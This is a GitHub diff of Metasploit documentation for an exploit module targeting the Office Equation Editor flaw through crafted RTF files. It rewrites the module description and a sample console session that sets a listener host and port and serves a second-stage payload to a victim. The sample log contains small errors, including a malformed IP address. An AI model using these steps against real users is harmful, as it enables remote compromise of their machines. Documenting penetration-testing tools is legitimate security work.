You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: documentation/modules/exploit/windows/fileformat/office_ms17_11882.md
+5-8Lines changed: 5 additions & 8 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -1,5 +1,5 @@
1
-
Office products within the last 17 years allow an attacker to execute arbitrary commands through memory corruption in Office documents. This occurs in how MS office fails to properly handle OLE objects in memory. Requires an victim
2
-
to open an MS `.rtf` file. In addition for the payload to be executed, the user must not open as read-only. Otherwise requires no interaction beyond that from the user.
1
+
2
+
Module exploits a flaw in how the Equation Editor that allows an attacker to execute arbitrary code in RTF files without interaction. The vulnerability is caused by the Equation Editor, to which fails to properly handle OLE objects in memory.
3
3
4
4
## Vulnerable Application
5
5
@@ -24,18 +24,15 @@ Filename to output, and location to which should be written.
24
24
25
25
```
26
26
msf > use exploit/windows/fileformat/office_ms17_11882
27
-
msf exploit(office_ms17_11882) > set FILENAME /home/mumbai/file.rtf
27
+
msf exploit(office_ms17_11882) > set FILENAME msf.rtf
28
28
FILENAME => /home/mumbai/file.rtf
29
29
msf exploit(office_ms17_11882) > set LHOST ens3
30
30
LHOST => ens3
31
31
msf exploit(office_ms17_11882) > set LPORT 35116
32
32
LPORT => 35116
33
33
msf exploit(office_ms17_11882) > run
34
-
[*] Exploit running as background job 0.
35
-
36
-
[*] Started reverse TCP handler on 192.168.0.11:35116
37
-
msf exploit(office_ms17_11882) > [*] Using URL: http://0.0.0.0:8080/e08qBLfVxgaJZPo
38
-
[*] Local IP: http://192.168.0.11:8080/e08qBLfVxgaJZPo
34
+
[*] Using URL: http://0.0.0.0:8080/BUY0DYgc
35
+
[*] Local IP: http://192.1668.0.11:8080/BUY0DYgc
39
36
[*] Server started.
40
37
[*] 192.168.0.24 office_ms17_11882 - Handling initial request from 192.168.0.24
41
38
[*] 192.168.0.24 office_ms17_11882 - Stage two requestd, sending
0 commit comments